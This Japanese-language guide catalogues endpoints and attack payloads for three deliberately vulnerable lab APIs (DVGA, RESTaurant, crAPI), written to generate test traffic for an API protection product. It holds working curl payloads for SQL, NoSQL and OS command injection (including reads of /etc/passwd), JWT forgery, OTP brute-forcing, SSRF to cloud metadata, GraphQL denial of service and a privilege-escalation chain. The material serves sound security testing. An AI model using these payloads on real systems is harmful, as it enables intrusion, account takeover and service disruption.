APIテストガイド
このガイドでは、3つの API セキュリティテストアプリケーションにわたるすべての API エンドポイント、意図的な脆弱性、および攻撃ペイロードを体系的にまとめています。F5 XC API 保護プロファイル開発向けのトラフィック生成パターンの構築にご活用ください。
| アプリケーション | プロトコル | パス | ポート | 認証 | 脆弱性 |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | なし (admin: admin/password) | 25 シナリオ |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (フォームエンコード) | OWASP API 2023 カテゴリ 7 件 |
| crAPI | REST (マイクロサービス) | / | 8888 | JWT (Bearer) | 18 件以上のチャレンジ |
ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
Section titled “DVGA (Damn Vulnerable GraphQL Application)”GraphQL エンドポイント: POST ${ORIGIN}/dvga/graphql
GraphiQL IDE: GET ${ORIGIN}/dvga/
管理者認証情報: admin / password
すべての DVGA の操作は、JSON {"query":"..."} ペイロードを含む POST リクエストによって単一エンドポイント (/dvga/graphql) を使用します。
スキーマ概要
Section titled “スキーマ概要”Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← 循環参照エンドポイントリファレンス
Section titled “エンドポイントリファレンス”| オペレーション | タイプ | 認証 | 目的 |
|---|---|---|---|
pastes(public, filter, limit) | Query | なし | ペースト一覧取得 (filter 経由の SQL インジェクション) |
paste(id) | Query | なし | 単一ペーストの取得 |
me(token) | Query | なし | JWT によるユーザー取得 (偽造に脆弱) |
systemHealth | Query | なし | ヘルスチェック |
systemUpdate | Query | なし | 低速クエリ (約 82 秒、DoS ベクター) |
systemDiagnostics(cmd) | Query | admin/password | ホワイトリスト登録済み OS コマンドの実行 |
createPaste(title, content, public) | Mutation | なし | ペーストの作成 (content 経由の XSS) |
importPaste(host, port, path, scheme) | Mutation | なし | リモートペーストのインポート (SSRF、コマンドインジェクション) |
uploadPaste(filename, content) | Mutation | なし | ペーストのアップロード (パストラバーサル) |
脆弱性カタログ
Section titled “脆弱性カタログ”1. サービス妨害 (DoS) (6 シナリオ)
Section titled “1. サービス妨害 (DoS) (6 シナリオ)”バッチクエリ攻撃:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'深い再帰 (Owner/Paste の循環参照):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'リソース集約型クエリ (約 82 秒のレスポンス):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'フィールド重複 (フィールドを 500 回以上繰り返す):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'エイリアスベースの攻撃 (1000 個のエイリアス付きオペレーション):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. 情報漏洩 (5 シナリオ)
Section titled “2. 情報漏洩 (5 シナリオ)”イントロスペクション (スキーマの完全な列挙):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'フィールドサジェスチョン (タイポが有効なフィールドを漏洩):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'importPaste 経由の SSRF (内部サービスの探索):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. インジェクション (4 シナリオ)
Section titled “3. インジェクション (4 シナリオ)”filter パラメーター経由の SQL インジェクション:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'createPaste 経由の Stored XSS:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'ログインジェクション (オペレーション名のスプーフィング):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. コード実行 (3 シナリオ)
Section titled “4. コード実行 (3 シナリオ)”importPaste 経由の OS コマンドインジェクション:
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'systemDiagnostics 経由の OS コマンド (管理者認証が必要):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. 認証バイパス (3 シナリオ)
Section titled “5. 認証バイパス (3 シナリオ)”JWT トークン偽造 (署名なしトークンを受け入れる):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'uploadPaste 経由の任意ファイル書き込み (パストラバーサル):
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'RESTaurant API (Damn Vulnerable RESTaurant)
Section titled “RESTaurant API (Damn Vulnerable RESTaurant)”Swagger UI: ${ORIGIN}/restaurant/docs
OpenAPI 仕様: ${ORIGIN}/restaurant/openapi.json
認証: /restaurant/token へのフォームエンコード POST 経由の JWT
ロール: Customer (デフォルト)、Employee、Chef (管理者)
セットアップ: ユーザー登録と認証
Section titled “セットアップ: ユーザー登録と認証”# テストユーザーの登録curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# JWT トークンの取得 (注意: JSON ではなくフォームエンコード形式)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"エンドポイントリファレンス
Section titled “エンドポイントリファレンス”| エンドポイント | メソッド | 認証 | ロール | 脆弱性 |
|---|---|---|---|---|
/restaurant/register | POST | なし | — | ユーザー作成 |
/restaurant/token | POST | なし | — | 弱い秘密鍵の JWT (97952) |
/restaurant/healthcheck | GET | なし | — | ヘルスチェック |
/restaurant/profile | GET | あり | 任意 | ユーザープロファイル |
/restaurant/profile | PUT | あり | 任意 | BOLA (他ユーザーの変更) |
/restaurant/profile | PATCH | あり | 任意 | BOPLA (ロールのマスアサイン) |
/restaurant/users/update_role | PUT | あり | 任意 | BFLA (ロール昇格) |
/restaurant/menu | GET | あり | 任意 | メニュー項目の一覧取得 |
/restaurant/menu | PUT | あり | Employee 以上 | メニューの作成 (画像経由の SSRF) |
/restaurant/menu/{item_id} | PUT | あり | Employee 以上 | メニューの更新 (画像経由の SSRF) |
/restaurant/menu/{item_id} | DELETE | あり | 任意 | BFLA (任意ユーザーが削除可能) |
/restaurant/orders | GET | あり | 任意 | BOLA (全注文の閲覧) |
/restaurant/orders | POST | あり | 任意 | 注文の作成 |
/restaurant/orders/{order_id} | GET | あり | 任意 | BOLA (他ユーザーの注文へのアクセス) |
/restaurant/orders/status/{order_id} | GET | あり | 任意 | 注文ステータス |
/restaurant/admin/stats/disk | GET | あり | Chef | コマンドインジェクション |
/restaurant/reset-password | POST | なし | — | パスワードリセットリクエスト |
/restaurant/reset-password/new-password | POST | なし | — | 新しいパスワードの設定 |
/restaurant/referral-code | GET | あり | 任意 | 紹介コードの取得 |
/restaurant/apply-referral | POST | あり | 任意 | 紹介コードの適用 |
/restaurant/discount-coupons | GET | あり | 任意 | クーポンの一覧取得 |
脆弱性カタログ
Section titled “脆弱性カタログ”API1:2023 — Broken Object Level Authorization (BOLA)
Section titled “API1:2023 — Broken Object Level Authorization (BOLA)”他ユーザーのプロファイルを変更:
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'他ユーザーの注文へのアクセス (オフセットの列挙):
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — Broken Authentication
Section titled “API2:2023 — Broken Authentication”JWT 弱い秘密鍵のブルートフォース (秘密鍵は 6 桁: 97952):
# jwt.io でトークンのデコードおよび偽造# 秘密鍵: 97952 (hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' でブルートフォース可能)
# Chef トークンの偽造:# Header: {"alg":"HS256","typ":"JWT"}# Payload: {"sub":"chef","exp":9999999999}# 秘密鍵でサイン: 97952API3:2023 — Broken Object Property Level Authorization (BOPLA)
Section titled “API3:2023 — Broken Object Property Level Authorization (BOPLA)”Customer から Chef へのロールのマスアサイン:
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'昇格パス: Customer → Employee → Chef:
# ステップ 1: Employee に昇格curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# ステップ 2: Chef に昇格curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — Broken Function Level Authorization (BFLA)
Section titled “API5:2023 — Broken Function Level Authorization (BFLA)”Customer としてメニュー項目を削除 (Employee 以上が必要なはず):
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"他ユーザーのロールを変更:
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — Server-Side Request Forgery (SSRF)
Section titled “API7:2023 — Server-Side Request Forgery (SSRF)”メニューの image_url 経由で内部エンドポイントを探索 (Employee ロールが必要):
# まず BOPLA で Employee に昇格してから:curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — インジェクション
Section titled “API8:2023 — インジェクション”ディスク統計経由の OS コマンドインジェクション (Chef ロールが必要):
# Chef に昇格後:curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"完全な攻撃チェーン: Customer から Root へ
Section titled “完全な攻撃チェーン: Customer から Root へ”# 1. 登録curl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. トークン取得TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Chef に昇格 (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. Chef レベルのトークンを取得するために再認証TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. コマンドインジェクション (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
Section titled “crAPI (OWASP Completely Ridiculous API)”Web UI: ${CRAPI}/
MailHog: ${CRAPI}/mailhog/ (確認メールのキャプチャ)
認証: JWT Bearer トークン (RS256、アルゴリズム混乱攻撃に脆弱)
アーキテクチャ: 7 つのマイクロサービス (identity、community、workshop、postgres、mongo、mailhog、web)
セットアップ: 登録、メール確認、ログイン
Section titled “セットアップ: 登録、メール確認、ログイン”# 1. 登録curl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. 確認メールを MailHog で確認# ${CRAPI}/mailhog/ にアクセスするか、MailHog API を使用:curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")"
# 3. ログインして JWT トークンを取得TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"エンドポイントリファレンス
Section titled “エンドポイントリファレンス”Identity サービス
Section titled “Identity サービス”| エンドポイント | メソッド | 認証 | 脆弱性 |
|---|---|---|---|
/identity/api/auth/signup | POST | なし | ユーザー登録 |
/identity/api/auth/login | POST | なし | JWT トークン (アルゴリズム混乱攻撃) |
/identity/api/auth/forget-password | POST | なし | OTP リクエスト |
/identity/api/auth/v2/check-otp | POST | なし | レート制限なし (4 桁 OTP のブルートフォース) |
/identity/api/auth/v3/check-otp | POST | なし | レート制限あり版 |
/identity/api/v2/user/dashboard | GET | あり | ユーザープロファイル |
/identity/api/v2/user/change-email | PUT | あり | メールアドレス変更 |
/identity/api/v2/vehicle/vehicles | GET | あり | 車両一覧 (UUID の漏洩) |
/identity/api/v2/vehicle/{uuid}/location | GET | あり | BOLA (任意ユーザーの車両) |
/identity/api/v2/user/videos | POST | あり | 動画のアップロード |
/identity/api/v2/user/videos/{id} | GET | あり | データ漏洩 (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | あり | マスアサイン (コマンドインジェクション) |
/identity/api/v2/admin/videos/{id} | DELETE | あり | BFLA (管理者チェックなし) |
Community サービス
Section titled “Community サービス”| エンドポイント | メソッド | 認証 | 脆弱性 |
|---|---|---|---|
/community/api/v2/community/posts | GET | あり | データ漏洩 (vehicle_id、メールアドレスの漏洩) |
/community/api/v2/community/posts | POST | あり | ブログ投稿の作成 |
/community/api/v2/community/posts/{id}/comments | POST | あり | コメントの追加 |
/community/api/v2/coupon/validate-coupon | POST | あり | NoSQL インジェクション |
Workshop サービス
Section titled “Workshop サービス”| エンドポイント | メソッド | 認証 | 脆弱性 |
|---|---|---|---|
/workshop/api/mechanic | GET | あり | データ漏洩 (整備士のメールアドレス) |
/workshop/api/mechanic/mechanic_report | GET | なし | BOLA (認証なし、連番 ID) |
/workshop/api/merchant/contact_mechanic | POST | あり | SSRF + DoS |
/workshop/api/shop/products | GET | あり | 商品カタログ |
/workshop/api/shop/orders/ | POST | あり | 注文の作成 |
/workshop/api/shop/orders/all | GET | あり | 注文一覧 |
/workshop/api/shop/orders/{id} | GET | なし | BOLA (認証不要) |
/workshop/api/shop/orders/{id} | PUT | あり | マスアサイン (status、quantity) |
/workshop/api/shop/apply_coupon | POST | あり | SQL インジェクション |
チャレンジカタログ
Section titled “チャレンジカタログ”チャレンジ 1 — BOLA: 他ユーザーの車両位置情報へのアクセス
Section titled “チャレンジ 1 — BOLA: 他ユーザーの車両位置情報へのアクセス”# まず自分の車両 UUID を取得curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# 他ユーザーの車両にアクセス (UUID を置き換え)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"チャレンジ 2 — BOLA: 整備士レポートへのアクセス (認証なし)
Section titled “チャレンジ 2 — BOLA: 整備士レポートへのアクセス (認証なし)”# 連番 ID の列挙 — トークン不要for i in 1 2 3 4 5; do echo "Report $i:" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""doneチャレンジ 3 — Broken Auth: パスワードリセット OTP のブルートフォース
Section titled “チャレンジ 3 — Broken Auth: パスワードリセット OTP のブルートフォース”# 被害者の OTP をリクエストcurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# 4 桁の OTP をブルートフォース (v2 はレート制限なし)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdoneチャレンジ 4 — データ漏洩: 整備士のメールアドレスの流出
Section titled “チャレンジ 4 — データ漏洩: 整備士のメールアドレスの流出”curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.toolチャレンジ 5 — データ漏洩: 内部動画変換パラメーターの流出
Section titled “チャレンジ 5 — データ漏洩: 内部動画変換パラメーターの流出”# 動画をアップロードしてレスポンスを確認curl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# レスポンス内の conversion_params フィールドを確認チャレンジ 6 — DoS: Contact Mechanic 経由のレイヤー 7 攻撃
Section titled “チャレンジ 6 — DoS: Contact Mechanic 経由のレイヤー 7 攻撃”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'チャレンジ 7 — BFLA: 管理者エンドポイント経由の動画削除
Section titled “チャレンジ 7 — BFLA: 管理者エンドポイント経由の動画削除”# 一般ユーザーが管理者エンドポイントにアクセス可能curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"チャレンジ 8 & 9 — マスアサイン: 注文操作による無料アイテムの取得
Section titled “チャレンジ 8 & 9 — マスアサイン: 注文操作による無料アイテムの取得”# GET を PUT に変更し、status と quantity を変更curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'チャレンジ 10 — 動画変換パラメーター経由のコマンドインジェクション
Section titled “チャレンジ 10 — 動画変換パラメーター経由のコマンドインジェクション”curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'チャレンジ 11 — Contact Mechanic 経由の SSRF
Section titled “チャレンジ 11 — Contact Mechanic 経由の SSRF”curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'チャレンジ 12 — NoSQL インジェクション: クーポンコードの抽出
Section titled “チャレンジ 12 — NoSQL インジェクション: クーポンコードの抽出”curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'チャレンジ 13 — SQL インジェクション: クーポンの複数回使用
Section titled “チャレンジ 13 — SQL インジェクション: クーポンの複数回使用”curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"チャレンジ 14 — 認証なしでの注文アクセス
Section titled “チャレンジ 14 — 認証なしでの注文アクセス”# Authorization ヘッダーなし — それでもデータが返されるfor i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""doneチャレンジ 15 — JWT アルゴリズム混乱攻撃
Section titled “チャレンジ 15 — JWT アルゴリズム混乱攻撃”# アルゴリズム "none" で JWT を偽造 (署名検証なし):# 1. ヘッダーを {"alg":"none","typ":"JWT"} に設定し、base64url エンコード# 2. ペイロードを {"email":"admin@example.com","role":"admin"} に設定し、base64url エンコード# 3. ドットで結合し、署名を空にする: <header>.<payload>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"OWASP API セキュリティ Top 10 クロスリファレンス
Section titled “OWASP API セキュリティ Top 10 クロスリファレンス”| OWASP カテゴリ | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1: BOLA | — | PUT /profile、GET /orders/{id} | 車両位置情報、整備士レポート、注文 |
| API2: Broken Auth | JWT 偽造 (me クエリ) | JWT 弱い秘密鍵 (97952) | OTP ブルートフォース (v2)、JWT アルゴリズム混乱攻撃 |
| API3: BOPLA | — | PATCH /profile (ロール昇格) | 動画 conversion_params、整備士メールアドレスの漏洩 |
| API4: リソース消費 | バッチ、再帰、エイリアス、フィールド重複による DoS | レスポンス長によるユーザー列挙 | contact_mechanic の repeat_request DoS |
| API5: BFLA | — | DELETE /menu、PUT /users/update_role | 一般ユーザーによる DELETE /admin/videos |
| API6: マスアサイン | — | PUT /orders (status、quantity) | 注文 status/quantity、動画 conversion_params |
| API7: SSRF | importPaste ミューテーション | PUT /menu の image_url | contact_mechanic の mechanic_api URL |
| API8: インジェクション | SQL (filter)、XSS (content)、OS コマンド (importPaste、systemDiagnostics) | OS コマンド (/admin/stats/disk?parameters=) | NoSQL (validate-coupon)、SQL (apply_coupon) |
| API9: 不適切な資産管理 | — | — | 非推奨の /auth/v2/check-otp (レート制限なし) |
| API10: 安全でない消費 | — | — | (SSRF 経由で間接的に) |
| GraphQL 固有 | イントロスペクション、バッチ処理、再帰、エイリアス、フィールド重複、循環フラグメント | — | — |
トラフィック生成パターン
Section titled “トラフィック生成パターン”フェーズ 1: ベースライン (正常系)
Section titled “フェーズ 1: ベースライン (正常系)”攻撃パターンのテストを開始する前に、通常の API 動作を確立するために正当なトラフィックを生成します。
DVGA ベースライン:
# 通常クエリcurl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'RESTaurant ベースライン:
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'crAPI ベースライン:
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"フェーズ 2: OWASP カテゴリ別の攻撃トラフィック
Section titled “フェーズ 2: OWASP カテゴリ別の攻撃トラフィック”BOLA テスト: 連番 ID の列挙、リクエスト内のユーザー識別子の入れ替え、所有権なしでのリソースアクセス。
インジェクションテスト: filter/coupon パラメーターへの SQL ペイロード、GraphQL クエリインジェクション、パラメーターフィールド経由の OS コマンドインジェクション。
認証バイパステスト: JWT トークンの偽造、OTP のブルートフォース、非推奨 API バージョンの使用、アルゴリズム混乱攻撃。
SSRF テスト: importPaste、image_url、mechanic_api パラメーターへの内部 URL の挿入。
DoS テスト: GraphQL のバッチ/再帰/エイリアス攻撃、高カウントの repeat_request_if_failed。
フェーズ 3: ステートフルな攻撃チェーン
Section titled “フェーズ 3: ステートフルな攻撃チェーン”一部の攻撃は、状態を伴う複数ステップのシーケンスを必要とします。
- RESTaurant 昇格チェーン: 登録 → トークン取得 → PATCH でロールを Chef に変更 → 再認証 → コマンドインジェクション
- crAPI フルフロー: サインアップ → メール確認 (MailHog) → ログイン → 車両の追加 → 整備士への連絡 (SSRF) → 注文操作
- DVGA 偵察から攻撃へ: イントロスペクション → systemDiagnostics の発見 → 管理者認証情報のブルートフォース → OS コマンドの実行
レート推奨値
Section titled “レート推奨値”| パターン | リクエスト数/秒 | 継続時間 | 備考 |
|---|---|---|---|
| ベースライン (アプリごと) | 10〜50 | 5 分 | 通常トラフィックのフィンガープリントを確立 |
| BOLA 列挙 | 100〜500 | 2 分 | 連番 ID スキャン |
| OTP ブルートフォース | 1000 以上 | 発見まで | 最大 10,000 回の試行 (4 桁) |
| GraphQL DoS | 10〜50 | 30 秒 | 各リクエストはサーバー側で高コスト |
| インジェクションファジング | 50〜200 | 5 分 | リクエストごとにペイロードを変更 |
| SSRF プロービング | 5〜20 | 2 分 | 低速;各リクエストがサーバー側 HTTP リクエストを発生させる |